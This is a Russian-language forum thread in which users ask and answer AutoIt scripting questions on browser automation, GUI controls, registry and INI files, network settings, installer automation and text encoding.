Помогите пожалуйста. Как вностить и извлекать информацию из окон у которых класс Internet Explorer_Server?
|
HORRIBLE,
Цитата:
Код:
ToolTip("My ToolTip") Цитата:
Код:
_IENavigate($oIE, $new_link) Цитата:
|
HORRIBLE, хорошо к примеру эту переменую вписывают.
или она сама как то находится и записывается. как сделать что бы строилось что то?! |
DENoszone, переменная $num произвольным образом выбирается ($num = random(99999,999999999999)) Ты ж сам сказал числа вписываем произвольные, и указал куда мы их вписываем.
Строилось??? что именно? |
нет. ты не понял.
я имел ввиду ..что не имеет значение что там написано. но на эту ссылку нажималось +) ты заходил в акк? там есть Ратуша - в ней к примеру есть Склад а с права ссылка по котому начинается постройка нового уровня Склада. вот на это и нажималось |
Все я решил проблему.
А теперь вопрос. можено как то сделать что бы скрипт запускался без этой програмы.ну в exe формате и у человека спрашивалось пароль и логин? ах да и как делать что бы скрипт запускался через 3 часа. или в обределённое время |
Цитата:
Цитата:
Цитата:
|
Решение...поменять поменять путь работы=)
возможно запускать скрипт с хостинга? а можно как то сделать что бы челвоек вписывал в прорграмму свои данные? |
Цитата:
|
в програме есть переменные.
эти переменные должен записывать сам человек. |
DENoszone,
Цитата:
|
Добрый день!Дабы облегчить себе жизнь решил написать скрипт на AutoIt ,но возникла одна проблема (( Не знаю как этим скриптом поменять IP на локальном компе , установить обои на рабочий стол из нужной мне папки и открыть общий доступ к определенной папке!! Если кто поможет буду очень признателен!
Заранее спасибо,N0rB. |
Цитата:
Цитата:
[HKEY_CURRENT_USER\ControlPanel\Desktop] "ConvertedWallpaper"="D:\\wallpaper\\New\\winxp1280.JPG" |
спасибо!!
|
ну вот можно с помощью этой проги написать калькулятор???
преведите пример=) как пользоватся IniWrite/Read, RegWrite/Read. ? |
DENoszone,
Цитата:
Цитата:
Reads a value from a standard format .ini file. Цитата:
Цитата:
Return Value Цитата:
|
Функция _GUICtrlCreateGroupEx() - Создание «Group» элемента в стиле Web-формы :)
Код:
#include <GuiConstants.au3> |
Вложений: 1
Привет, сорри если повторяюсь, тема большая, в справке не нашел, в AutoIT пока чайник
Как сделать окно с такими контролами и еще слева там динамически выпадающие меню в таком же стиле. Или тулбар как Quicklaunch (панель быстрого запуска) ? чтобы иконка + текст Спасибо. |
Вложений: 1
http://forum.oszone.ru/attachment.ph...1&d=1206515624
Howtodo_cpl.jpg |
Цитата:
Код:
#include <GuiConstants.au3> Цитата:
Цитата:
|
Народ, помогите плз...пробовал добавить в ниже приведённый файл строчки
в категорию [AddReg]-ничего не получается либо идут каракули... |
Maza Faka,
Цитата:
И во-вторых, тут нельзя задать цвет самой линии, а в третьих я же написал: Цитата:
|
$oPass1 = InputBox("Внимание!", "Введите пасс")
как тут сделать что бы водилось звездочками .ну пароль был закрытый |
DENoszone
Ты в справку заглядываешь? Хотя бы иногда? Четвёртый параметр в функции делает это. |
я просто не дома. а тут нету справки =(
кстати вопрос .можно сделать скрипт: призапуске любого текстового редактора что бы вместо текста пользователя водился другой текст. |
Народ ! помогите мне плз с ниже указанной проблемой....
|
Цитата:
Цитата:
Код:
IniWrite("c:\HIVESYS.INF", "AddReg", _ |
Maza Faka, мне нужно чтобы данные записывальсь в прикреплённый файл и в конце небыло =....
|
Цитата:
А во вторых, что бы в конец файла не добавлялся символ =, лучше воспользоваться другими фунциями: FileWrite(), FileWriteLine(), _FileWriteFromArray(). |
ну человек пишеть...не важно что...и на кажду нажатую клавишу(написанную) появляется другая.
к примеру человек пиште "привет" а программа пишет "123456" |
как запустить ссылку www.ya.ru/staemme.php? переменая &screen=main переменая =build переменая
|
Цитата:
|
korochinskiy,
Цитата:
Код:
$Title = WinGetTitle("[CLASS:Internet Explorer_Server]") |
Цитата:
Цитата:
|
korochinskiy,
Чтоб вытащить скелет странички воспользуйся этим: $oIE = _IE_Example ("basic") $sHTML = _IEDocReadHTML ($oIE) ; вот эта команда и извлечет тебе код странички MsgBox(0, "Document Source", $sHTML) |
Вопросы:
как запустить ссылку www.site.ru/staemme.php? переменая &screen=main переменая =build переменая Что быв любом открытым пользователем текстиовом файле писался текст не тот что пишет человек а другой прописанный в скрипте как добавить что то в форму во фрайме??? |
Цитата:
|
Как можно найти папку на какомто системном диске???
Например знаю имя папки но путь к ней не знаю....нада вывести путь..... |
а просто поиск?=)
|
Angelus
Можно средствами ком. строки: Ищем папку AutoIt3 на диске C:\ ;) Код:
|
Цитата:
|
Хм...прикол...антивир компилированые скрипты за вирус принимает....=)
|
Angelus,
Цитата:
ALL (Все) Библиотека для управления известным плеером Winamp! В библиотеке содержится 28 функции. Написана на основе SDK с оф. сайта Winamp. Требования: * Winamp 2.x +. * Желательно последнюю версию AutoIt'а (хотя в принципе должно работать на любой версии которая поддерживает DllCalls). Тестировалось под v3.2.8.1. Скачать по этой ссылке (6+ kb). Жду комментариев, также хотелось бы знать каких ещё функции нехватает. |
Цитата:
|
Цитата:
Код:
DIR /A:D /S /B "C:\"|FINDSTR /E /I "\\AutoIT3" Код:
#include <array.au3> пошукай по архивам топика - проблема вывода в массив списка всех подкаталогов средствами AutoIT обсуждалась неоднократно, останется только оформить поиск по массиву нужных элементов |
Здравствуйте. Мну такая проблема.
Есть окно программы. в нем есть скрытая форма (Static1). После определенных действий юзера (программы) она становится видной. Как на AutoIt узнать, скрытая эта форма, или нет. В результате будет цикл While 1=1 ...... WEnd который прерывается когда форма Static1 становится видимой. |
Mogidin,
Цитата:
Код:
#include <GuiConstants.au3> |
amel27,
С возвращением! :) Нужна помощь с одной проблемой, если есть возможность/время, глянь плиз... Вобщем нужно создать окно с собственным именем класса. Типа DllCall("USER32.DLL", "hwnd", "CreateWindowEx", "long", 0, "str", "My_Custom_Class".....) Это вообще реально на AutoIt, или я просто трачу своё (и других) время? Я уже пару часов сижу с кучей открытых вкладок на MSDN (вот самая |
Creat0R, вопрос !
делаю такую фишку RegWrite("HKEY_CURRENT_USER\Software\Data","Key","REG_SZ",@MDAY) $dat = RegRead("HKEY_CURRENT_USER\Software\Data","Key") $dates=$dat+1 нужно чтобы выдавалось значение 02 а не 2 и как сделать чтобы когда делаешь $dates=$dat-1 получалось 31 или 30 (взависимости от месяца) а не результат 0? |
TERMINAL
Попробуй так: Код:
#include <Date.au3> |
Вложений: 1
Доброе время суток. Помогите с проблемой.Мучаюсь второй день, нужно выбраьт чебокс в окне, клавиши выбора "TAB" и "8" или стрелка вверх. "TAB" срабатывает, а вот вторая нет. Пробую по ID; clas; radiobutton. Результат 0. Останавливается на этом окне .Какой выход? Спасибо.
|
Ded Vova, это InnoSetup, оно не ставится с ключами, раз вы Autoit пытаетесь прикрутить?
|
Ded Vova,
Цитата:
Кликать примерно так: Код:
ControlClick("Установка - Фото МИКСЕР", "", "TNewCheckListBox") |
не могу логинится на http://www.nigma.ru и ещё на этом сайте надо что бы проверялось что написанно в поле email , если там qwe@mail.ru то продолжать работу. елси нет то закрывать окно
|
Меняю с помощью скрипта IP на локальном компе через вызов cmd
netsh interface ip set address Local static 192.168.0.2 255.255.255.0 где Local - имя подключения. При замене имени подключения на стандартное Подключение по локальной сети эта конструкция перестает работать.не подскажет ли кто что можно сделать??Эт наверное из-за пробелов.....???? |
Вложений: 2
Спасибо за советы. С ключами " /VERYSILENT /SP- " не ставится, других не знаю , :) .
Класс «TWizardForm», button «TRadioButton 1», ID:983410. Ошибку не выводит, при запуске останавливается на этом окне и ...тишина. Пробывал "ControlClick" и "MouseClick", "text ""Я &принимаю условия соглашения"". Сейчас попробую "ControlShow" и "MouseClick". А голова уже квадратная! P.S. А вот как указать MouseClick("left",x,y,1)? Я ,чайник, не знаю. Пробую только,всего три дня. Блин! пробыва,получил см. 4рис. |
Вложений: 1
Вот такая ерунда!
|
Ded Vova,
Цитата:
Код:
ControlClick("[CLASS:TWizardForm]", "", "TRadioButton1") Цитата:
|
Creat0R
Цитата:
Цитата:
Код:
#include <WinAPI.au3> |
N0rB,
Цитата:
NETSH работает с OEM-кодировкой, а AutoIT с ANSI... поэтому нельзя передавать русский текст из AutoIT "как есть" сразу в NETSH. Решений проблемы много, я к примеру использую UDF, предварительно преобразующий текст команды в OEM-кодировку: Код:
$strANSI= "Подключение по локальной сети" |
amel27,
Низкий поклон! :pray: я уже подумал что это нереально добиться средствами AutoIt'а. Буду разбирать что к чему, я просто обязан понять как оно работает, ведь столько времени было потрачено на попытки реализовать это самому... а за коменты отдельное спасибо :). |
Здравствуйте.
Цитата:
Цитата:
|
Пока только читал, но вот появились вопросы и хочу их задать: (AutoIt 3.2.11.5)
1. Функция _GUICtrlStatusBar_SetBkColor($hWnd, $iColor) не устанавливает цвет у фона строки статуса, это только у меня так или ... 2. Возможно ли сделать так чтобы вкладки TabControl controlа создавались вертикально (ну это можно с помощью $TCS_VERTICAL) но надписи были горизонтальными ??? 3. Как перехватить нажатие на кнопку в другом приложении ? |
Мне кто скажет?=)
не могу логинится на http://www.nigma.ru и ещё на этом сайте надо что бы проверялось что написанно в поле email , если там qwe@mail.ru то продолжать работу. елси нет то закрывать окно как запустить ссылку www.ya.ru/staemme.php? переменая &screen=main переменая =build переменая |
Creat0R,
Цитата:
P.S. пару линков кину в PM, но сам я по старинке предпочитаю бумажный вариант :) |
amel27
Если найдётся время посмотри пожалуйста где ошибка. Пытаюсь реализовать вот такой хинт: ![]() Код:
#include <GuiConstants.au3> |
и ещё как с каждым циклом увеличивать переменую на 10 ?
|
amel27
Нашёл неплохой пример на PowerBasic-e, но реализовать этот пример на AutoIt-е не получается :( Код:
#include <GuiConstants.au3> |
Всем привет, почитав ваши произведения в постах выше аж голова кругом...
Открыв мануал, решил сделать автоматизацию некоторых манипуляций в игре. Написал скрипт, компилировал... а при запуске в ХР он в доли секунды включается и исчезает (в процессах тоже появляется на доли секунды и проподает) PHP код:
Написал еще один и та же реакция... проподает. PHP код:
|
kagorec
Цитата:
Код:
While 1 |
Maza Faka
Цитата:
Цитата:
Код:
#include <GuiConstants.au3> |
Цитата:
Цитата:
|
Вопрос. Требуется сделать окно, которого не будет на панели задач, тока в трее.
И в догонку. Можно поменять иконку этого окна в трее? Как? вопрос снимается. =) |
Помогите написать один скрипт. Короче, есть утилита fontinst.exe. Ее задача установить, шрифты, лежащие с ней в одной директории и прописанные в файле fontinst.inf. Синтаксис запуска:
Код:
fontinst.exe /f fontinst.inf Код:
[fonts] Вариант 2: вывести окно со списком шрифтов из текущей директории и флажками. Как это сделать? Хотя бы первый вариант... |
Котяра
IMHO эту задачу проще и быстрее будет решить с помощью bat-файла: Код:
Код:
ShellExecuteWait(@ScriptDir & "\fontinst.cmd", "", "", "open", @SW_HIDE) |
Maza Faka
Цитата:
Код:
Global Const $HH_INITIALIZE=0x1C Цитата:
Код:
#Include <File.au3> |
Можно ли в реестре с помощью RegDelete едалить не значение, а полностью ветку (папку)?
|
Цитата:
Цитата:
|
amel27,
Цитата:
|
Maza Faka, а как после этого запустить fontinst.exe? Добавить в конец батника
fontinst.exe /f fontinst.inf ? Проблема решилась созданием файла clickme.bat Код:
call fontinst.cmd |
помогите скрипт перестал вставлять title . и пустое окно делает.
PHP код:
|
DENoszone
Цитата:
Код:
#include <IE.au3> |
берет тайтл с яндекса и вставляет в поиск нигмы
|
Цитата:
Код:
#include <IE.au3> Код:
#include <IE.au3> |
эээ не пашет
|
Подскажите,пожалуйста,как средствами AutoIT можно узнать количество байт,принятых через Dial-Up соединение?
|
Нужна помошь по ускорению работы функции:
Код:
Func __UTF8ToUnicode($Utf8String) Самое странное это то, что с одним и тем же текстом с файла, обрабатывает быстро, но текст с которым я работаю, получается с сети (вот кстати ссылка для желающих потестить, можно использовать _InetGetSource(), хотя я использую TCP функции, но результат тот же). Т.е сохранив текст в файл, и проверив с него (используя отдельный скрипт), функция быстрее (намного) обрабатывает чем саму переменную)... |
“Век живи, век учись! © ”
Оказывается, любая обработка строк (функции String*) будет в несколько раз замедлена если вы используете «Opt("ExpandEnvStrings", 1)» или «Opt("ExpandVarStrings", 1)» :secret: . Я в скрипте как раз использую Opt("ExpandEnvStrings", 1), поэтому обработка была медленнее, проверял же в другом скрипте, который создаётся и запускается из этого родительского скрипта. |
Цитата:
Цитата:
Код:
MsgBox(0, "Статистика подключения:", "Получено "& Int(_Net_InterfaceBytes("Realtek", 1)/(1024*1024)) &" мегабайт") Цитата:
Кстати (не могу пробиться к тебе в ПМ) если разберешься насчет BeginPaint / EndPaint маякни сюда или в ПМ... а то зацепило :) |
amel27,
Цитата:
Цитата:
Цитата:
Цитата:
|
|
amel27, а что у тебя он делает???
он делает заход на нигм...прописывает там тайтл из яндекса...и и делает поиск? где флаг не видимости?=) |
Цитата:
Код:
#include <IE.au3> |
круто.а проверку можешь сделать?
ну что бы при заходе авторизовалося... и что бы проверялось что какое мыло написано в профеле если к примеру qwe@mail.ru то продолжать работу..если нет..то заканчивать |
Цитата:
Цитата:
Код:
; Код оконной процедуры нашего оконного класса amel27, Во, так вроде работает: Код:
; Код оконной процедуры нашего оконного класса Ну или я неверно понял о чём вообще речь ![]() |
DENoszone
увы, я не телепат - продолжать работу чего?... в каком профиле?.. слишком много мест, где можно хранить мыло - свойства учетки локальной, доменной, аутглюк, бат, etc. Creat0R Цитата:
|
amel27,
http://www.nigma.ru/index_menu.php?a...&display=login - авторизация http://www.nigma.ru/index_menu.php?a...splay=userinfo - тут в поле проверить какое мыло если к примеру qwe@mail.ru то дальше продолжить работу... если что то другое то закрывать IE и дальше не чего не выполнять |
Помогите написать условие, если сегодня суббота-тогда выдаётся сообщение (при условии что эта суббота через 2 недели-тоесть сегодня 8.04.08-нужно чтобы выдалось сообщение не 12.04.08, а 19.04.08, потом 03.05.08 и т.д.) Заранее спс !
|
TERMINAL,
Цитата:
![]() Код:
#include <Date.au3> |
Хочу вставить в форму диалог выбора файла (каталога). Возможно ли реализовать это на автоите?
|
Creat0R, Спасибо огромное ! Чуть подправил под себя и получилось то что хотел...Не ожидал что так быстро поможешь...
|
|
Воистину могат и богуч AutoIt Help.
Сколько ни смотри, что-нибудь да пропустишь. Креатору спасибо. |
$sTextFind = StringStripWS(StringReplace(_IEPropertyGet($oIE, "title"),"Яндекс:", ""), 3)
как тут сделать что бы уберался весь текст после Яндекс: |
DENoszone
Цитата:
Цитата:
|
Возможно ли такое, на одном компе работают юзеров 15...Хотелось бы между ними сделать простенький час...т.е. определяется юзер примерно так If @UserName="User11" Then ....от которого идёт сообщение и передаётся другому юзеру...???
|
TERMINAL
на оффсайте навалом вариантов разной степени сложности, к примеру: Proper Telnet Chat P2P-Style Chat, Serverless Chat Client for LANs TCP Chat если хочешь поваять сам могу предложить простой алгоритм а-ля Web-чат без сетевых приблуд: - расшарить для всех папку, где создается один файл блога... - юзер запускает чат, если он первый, то инициализирует текстовик; - окно разделено на две части: одна для набора сообщений, вторая отображает текстовик; - по клику "отправить" сообщение добавляется в конец файла; - все клиенты периодически обновляют текст на экране. главное, чтобы клиент не занимал долго файл при отправке сообщения (с правами записи) - добавил текст и сразу освободил файл |
Вложений: 1
Подскажите плз что нужно прописать что бы снять галочку "Desktop Shortcut"???
|
amel27, Проблемка в том что у всех юзеров один и тот же айпишник а имена пользователей разные....
|
Цитата:
Цитата:
|
amel27 , спасибо, но это не совсем то... Не подскажешь, как получить статистику через Ras API?
|
Цитата:
нажатий(по идее там нужно нажать TAB,4 раза Down,SPACE и ENTER,я пишу что-то типа: HTML код:
Send("{TAB}") |
Цитата:
Код:
#include <GuiTreeView.au3> |
DENoszone
Цитата:
Код:
#include <IE.au3> |
Цитата:
|
Цитата:
|
KillHunter, Может проще его удалять из AutoIt скрипта в конце?!
|
Цитата:
Код:
; Возвращает количество байт, отправленых или принятых через RAS интерфейс |
amel27, да, именно так! Спасибо огромное, все работает!
|
Цитата:
Если напишешь как ярлык удалить буду благодарен. |
amel27
Подскажи пожалуйста, имеется такая функция: Код:
Global Const $FO_COPY = 0x0002 Поискал в инете, нашёл такое описание: Цитата:
Цитата:
|
Maza Faka,
Цитата:
Код:
$sList = "File1" &Chr(0)& "File2" &Chr(0)& "File3" &Chr(0)&Chr(0) |
amel27
Низкий тебе поклон за помощь и отличный пример! :pray: В жизни бы не додумался преобразовать строку в бинарник. ;) А я ведь пытался формировать строку с Chr(0) вот по этому примеру: Цитата:
P.S. Интересно, а почему на Дельфи такое формирование строки получается, а на AutoIt-е нужно преобразовывать в бинарный код? |
Можно ли написать скрипт который бы включал и отключал сетевую плату через диспетчер устройств?
|
KillHunter,
Цитата:
Ярлык это файл с расширением lnk. Поэтому удалив этот файл ты удалишь ярлык. Вот например я удаляю тотал мандер из автозапуска: Код:
If FileExists(@StartupDir & "\Total Commander.lnk") Then Когда хочешь удалить из панели быстрого запуска просто нужно правильно указать положение файла. Это скорре всего что- то типа Код:
@UserProfileDir & "\Application Data\Microsoft\Internet Explorer\Quick Launch\Твоя программа.lnk" |
Maza Faka,
Цитата:
KillHunter Цитата:
Цитата:
Код:
#include <GuiTreeView.au3> |
Цитата:
Код:
Func _NetConnection_Disable($sConnectionName) |
amel27, что-то попробовал скомпелировать чаты по твоей ссылке-все ошибки выдают:(
|
Цитата:
|
amel27, у меня просто времени нет в чужих трудах копаться :( Пробовал все 3 которые ты давал-ниодин не заработал...
|
|
amel27
Только ты можешь помочь! :pray: Пытаюсь сменить разрешение экрана, но безуспешно :( Код:
Global Const $CDS_TEST = 0x00000002 |
Maza Faka,
Цитата:
Код:
$iWidth = 1024 |
Creat0R
Цитата:
|
Maza Faka
Цитата:
Цитата:
|
amel27
Спасибо за информацию, как я уже тебе писал (в личку), всё дело именно в чекбоксе, а снять его несложно через реестр. :) Спасибо ещё раз :up: |
Maza Faka,
Цитата:
|
Creat0R
Цитата:
Код:
_ScreenSetting(800, 600, 32, 85) 2 All! Пожалуйста протестируйте кому не лень. :) |
Maza Faka,
Цитата:
Цитата:
На заметку UDF'о-строителю; плохая идея отображать MsgBox'ы прямо из функции, в случае ошибки всегда нужно возвращать её код, пользователь (функцией :) ) сам решит что нужно делать в случае ошибки. ALL Такой вопрос: Как можно перекодировать текст кириллицы в Java-юникод? К примеру «Привет Мир!» будет кодирован так (это я редактор yudit использовал): Код:
\u041f\u0440\u0438\u0432\u0435\u0442 \u041c\u0438\u0440 |
Creat0R,
Цитата:
|
Creat0R
Цитата:
Код:
MsgBox (0,"", _StringToJava("Привет Мир!")) |
amel27,
Цитата:
P.S А обратно можно перекодировать? :blush2: |
Creat0R
Цитата:
Цитата:
Код:
MsgBox (0,"_StringToJava()", '"Привет Мир!" ->'& @CRLF &'"'& _StringToJava("Привет Мир!") &'"') |
amel27,
Цитата:
Простой пример; если вставить это в адресную строку браузера (Opera / IE / FireFox): Код:
javascript: alert('\u041F\u0440\u0438\u0432\u0435\u0442 \u041C\u0438\u0440 \ ' test'); Код:
javascript: alert('\u041F\u0440\u0438\u0432\u0435\u0442 \u041C\u0438\u0440 \\ \' test'); Т.е по сути нужно в самом начале функции добавить примерно это: Код:
$sText = StringRegExpReplace($sText, "(['\\])", "\\\1") P.S Кстати, не помешало бы отключать «Opt("Expand(Var/Env)Strings", 0)» для подобной функции, для ускорения обработки :) |
Creat0R
исправил с учетом твоих замечаний: Код:
Func _StringToJava($sText) |
amel27, Осеньно надоть в скрипте определять, данная директория или файл реальные или это ссылки ( в смысле NTFS связи ) И самое главное если связи, то на что они указывають?! С надеждой!
|
amel27,
Цитата:
У меня тут возникла проблема с твоими самопальными _FileSave/OpenDialog() и _FileSelectFolder(); на системе где нет поддержки кириллицы, заголовок с русским текстом отображается некорреткно. Как известно в AutoIt добавили поддержку юникода, и как раз оригинальные функции нормально отображают символы кириллицы, вот можно как то поправить и твои функции, чтобы поддерживали Unicode? :blush2: Кстати, в последних бетах к подобным функциям (практический ко всем диалоговым) приделали наконец дополнительный параметр Win Handle :), но для моих целей нет возможности перейти на эти беты, слишком многое менять нужно в скриптах :(. |
NikLok
Насколько я понял речь о символических ссылках, так как для жестких ссылок нельзя отличить ссылку от файла... Имхо различить линк и экземпляр вполне реально через стандартные файловые API, а вот найти путь к оригиналу пока проблематично - полноценные API-функции добавили только в Vista/2008... хотя помнится у API-аналога FileOpenDialog() был флаг, задающий что фозвращает ф-ция - линк или путь к оригиналу... хотя вполне возможно это обычные ярлыки (*.LNK) Creat0R дай линки на используемые редакции (а то их уже было немеренно) или кинь в личку |
amel27,
Цитата:
М..маленький прбмерчик бы! |
NikLok
ну вроде что-то получилось - для обычного каталога UDF воспроизводит переданный в параметре путь к каталогу и устанавливает @extended=0, если каталог является только ссылкой, то восстанавливается его реальный путь и значение @extended=1 : Код:
#include <Constants.au3> |
amel27, Огроменное спасибо! Все замечательно работает!!!
|
|
amel27, А в GUI можно мигающую строку (элемент ListView) сделать. Или обязательно программно самому мигать!?
|
NikLok
это не ко мне - в визуальных эффектах я не силен, имхо тут достаточно спецов по ГУИ Creat0R Цитата:
- заменить во всех структурах "char" на "wchar"; - в DllCall() жестко задать вызов WideChar-редакции API функции; - заменить в SendMessage() коды сообщений с ANSI на WideChar. |
Цитата:
Код:
#include <GuiConstants.au3> |
amel27,
Цитата:
|
А как переводить числа из 10-ой в двоичную систему??
|
Цитата:
|
Прошу помощи
Есть код Код:
Dim $mass[1], $x=0,$Stop = 0 Последние содержатся в denylist.txt icq qip и т.д. Все работает, но скрипт сильно напрягает процессор вопрос как разгрузить процессор? |
babaytugur,
Цитата:
Код:
#include <File.au3> |
Спасибо!!!
все работает буду анализировать код |
Creat0R, Помоги плз написать скрипт....
Есть 40-50 папок с разными названиями, в каждой, из этих файлов, лежит скрипт с именем Auto.exe. Мне нужно чтобы этот скрипт запускался по очереди (я так думаю это юудет команда RunWait ) из каждой папки и с помощью команды TrayTip("Установка скрипта №", "Выполняется установка NAME", 5, 4), где №-номер очередной папки по счёту, а NAME имя папки из которой стартует скрипт, отображал данную процедуру... А то приходится вручною прописывать каждую процедуру....Возможно ли вышеуказанное сделать на скрипте?! |
TERMINAL
Цитата:
Поищи на форуме примеры рекурсивного перебора файлов-папок (FileFindFirstFile()) и переделай под свою задачу, если не получится - поможем. ;) |
Maza Faka, спс-сделал !
|
Цитата:
Код:
$ProductName = FileGetVersion("C:\Program Files\ICQLite\ICQLite.exe", "ProductName") |
amel27, А случайно кода для tftp сервера нету у Вас. А так же и binlsrv.py из пакета Ris-linux.
|
Maza Faka,
Binarу, я что то не понимаю, а как тогда, к примеру число 301 превратить в такое 100101101, а то эта команда что то не то выдает. Спасибо. |
NikLok
Цитата:
HORRIBLE все не так просто - для текстового представления чисел предназначена ф-ция StringFormat(), но AutoIT штатно поддерживает только представления по основанию 16 и 8, для других оснований придется ваять UDF, как один из вариантов: Код:
ConsoleWrite(_Bin(301) & @CRLF) Код:
ConsoleWrite(_Bin(301) & @CRLF) |
Помогите плз, у каждого диска (CD & DVD) присутствует свой серийный номер или порядковый номер. Его возможно как то узнать.
|
TERMINAL
ф-ция DriveGetSerial () FYI: клоны имеют одинаковый серийник |
amel27, спс-сделал-всё получилось, только вопрос -эти серийные номера повторяются или они уникальные?
|
amel27,
Не поможешь с RegExp? Есть строка пути к файлу: Код:
$Var = "c:\test\some app v3.2.6\file.db.bk" Но тот же результат должен быть если в строке нет вовсе расширения файла, или есть, но только одно; «c:\test\some app v3.2.6\file.db». Как видно, в пути есть точки в версии программы, это мне и мешает решить проблему, если расширение файла не указано, то возвращается «c:\test\some app v3.2»... Код:
$sPath = "c:\test\some app v3.2.6\file.db.bk" |
TERMINAL
Цитата:
Creat0R - вообще-то "расширением" называют только то, что следует в имени после последней точки ;) - не понял смысл фигурных скобок внутри класса [] - нужно включить в рассмотрение "\" Код:
$sPath = "c:\test\some app v3.2.6\file" |
amel27,
Цитата:
Я просто этот путь не проходил потому и спрашиваю. |
amel27,
Цитата:
Цитата:
Цитата:
Код:
$sPath = "c:\test\some app v3.2.6\file_version_1.2.0.db.bk" |
Кажется сделал:
Код:
$sPath = "c:\test\some app v3.2.6\file_version_1.2.0.db.back" Мда.. иногда полезно в справку всё же заглядывать :) Цитата:
|
Creat0R
Цитата:
кстати, а разве версия не может состоять из 2-х цифр?.. типа: "file_version_1.2.10.db" ;) Цитата:
Цитата:
Код:
$sPath = StringRegExpReplace($sPath, '\...(\..{1,4})?$', '') Код:
$sPath = StringRegExpReplace($sPath, '\.[^.\\]{2}(\.[^.\\]{1,4})?$', '') Цитата:
Цитата:
Цитата:
|
amel27,
Цитата:
Цитата:
Цитата:
Код:
$sPath = "c:\test\some app v3.2.6\file_version_1.2.0.db.back" |
Цитата:
Код:
$sPath = StringRegExpReplace($sPath, '\.[^.\\]{2}(\.[^.\\]{0,4})?$', '') |
Цитата:
|
|
Цитата:
Возможно ли вывести содержимое маленького текстового файла через команду MsgBox? |
amel27,
Цитата:
TERMINAL, Цитата:
Код:
MsgBox(64, "", FileRead("File.txt")) :) |
Помомгите решить проблемму. Есть скрипт, который делает листинг файлов на всех жёстких дисках по маске и записывает результат в файл. Так вот отрабатывается он как-то странно, периодически не отрабатываются некоторые из масок и часто пишется не в той кодовой станице, хотя команда на изменение кодовой страницы добавлена. Сперва думал что вся проблемма в маленьком слипе между циклами, но при увеличении времени ситуация не меняется. Скрипт то работает нормально то нет.
Код:
Opt("ExpandEnvStrings", 1) Код:
;--- Func ---------------------------- |
EgOrus,
Во-первых я бы не стал пользоваться «Opt("ExpandEnv/VarStrings", 1)», значительно замедляет обработку строк. Можно перебирать сразу нужные маски... Код:
_ListFiles('*.doc|*.xls|*.ppt', @WindowsDir & '\Temp\files.tmp') |
Цитата:
к сожалению я именно поэтому от варианта чтения stdout отказался, что он работает несколько дольше чем сразу листинг в файл это заметно при большом общем количестве файлов и соотв. файлов по маске - порядка 10 тысяч, кроме того это проще и меньше кода. Проблемму с кодировками также не снимает - в результирующем файле получается мешанина из 866 и 1251 кодировок (это и непонятно, видимо не всегда отрабатывается chcp, или есть какой-то ньюанс с этой командой, которого я не знаю). А UTF заголовок не влияет на то, в какой кодировке записываются данные в этот файл. Если не использовать chcp 1251 то все идет в 866 кодировке. Но тогда придется готовый файл конвретировать в 1251, что без сторонних утилит сделать проблемматично. В предыдущем посте я писал что скрипт работает нормально, но это не так, просто запамятовал что не использовал chcp, а конечный файл перекодировал с помощью утилиты xcode.exe Нужно это все для того, чтобы при дальнейшей вычитке результирующего файла с помощью функции _FileReadToArray($tmpfle, $aFiles) корректно обрабатывались русские имена, для этого и нужен UTF или 1251 |
Помогите, как и где можно узнать случайный номер имедж образа?
|
TERMINAL
Цитата:
Creat0R Цитата:
Цитата:
EgOrus Цитата:
Код:
Func _StringANSI2OEM($strText) |
amel27, проблема ещё в том что если пишешь образ болванкой то номер меняется на другой
|
amel27, Насколько я понял в автоит нет структур?! Что все данные организовывать массивами?
|
TERMINAL
Цитата:
NikLok Цитата:
|
amel27,
Цитата:
|
EgOrus,
Цитата:
Цитата:
У меня кстати оказывается пишет нормально даже если сразу (при записи) использовать 1 + 128. amel27, Цитата:
|
Creat0R
у меня после отработки твоего также как и моего скрипта на рабочем и домашнем буке кодировки мешаются на виртуалке тоже, но не всегда, бывает что все нормально, из 10 запусков после 2-3 мешаются. Причем происходит это не случайным образом а в пределах диска, т.е. например все файлы на диске С идут в 1251 а на диске Д уже в 866, может быть и наоборот. Т.е. в одном из циклов случайным образом почему-то не воспринимается команда chcp 1251 По поводу UTF, при использовании 1 + 128 не происходит перекодировки текста, это можно посмотреть в консоли если ее не скрывать, в файл записывается например Код:
c:\Documents and Settings\Default User\*Ў«®*л\winword.doc Run('%Comspec% /U /C dir "$d$" /s /b','',0,6) |
Если у кого-то есть дистрибутив SkypeSetup.exe, помогите. Хочу сделать скрипт, который бы нажимал на элементы:
- флажок - кнопку установки - отключил флажок про Google - а в конце нажал Запустить |
Котяра, Делаешь так
RunWait ( @ScriptDir & "\" & "Setup.exe /lang=ru /verysilent /NoWpFinished /NoStart" ) WinWait("Skype™ - Создать пользователя","", 20) If ProcessExists("Skype.exe") Then ProcessClose("Skype.exe") ProcessWaitClose("Skype.exe", 15) EndIf потом, если установлун гугл твой, делаешь тихое его удаление. Скачать его можно сдесь |
EgOrus
Цитата:
Котяра читайте шапку - либо пишите в отдельную тему либо задавайте вопрос без привязки к установке конкретного софта - поставьте AutoIT, запустите "AutoIT Window Info" и дайте всю инфу по интересующему Вас окну и контролам. |
EgOrus
Цитата:
Цитата:
Котяра Цитата:
Вот простой скрипт, нажимает кнопки для установки: Код:
Run(@ScriptDir & "\SkypeSetup.exe") |
Creat0R, ваш скрипт работает. Но в мое инсталляторе (с диска одного компьютерного журнала) есть такая страница:
[img=http://img167.imageshack.us/my.php?image=googleforskypecw8.jpg][/img] Creat0R, доработал Ваш скрипт и получилось так: Код:
Run(@ScriptDir & "\SkypeSetup.exe") Цитата:
|
Всем привет .. такой вопрос в браузере открыта страница сайта, как получить значение "SetHP(50,50);" из HTML кода?
Код:
|
Подскажите пожалуйста, конвертировал скрипт в exe, и по неосмотрительности удалил скрипт, а сейчас понадобилось исправить exe, но обратно в скрипт, exe не конвертируется (я пытался этим- Decompile .exe to Script) появляется ошибка "Error: The executable file is not recognised as a compiled AutoIt script."
Как мне exe обратно в AutoIt скрипт преобразовать????? |
ancoder,
Цитата:
Код:
#include <Inet.au3> Цитата:
|
Вопрос: Как применить 'Uncheck' или 'Check' к выбранной строке в TNewCheckListBox1 (так определяет AiWI) ?
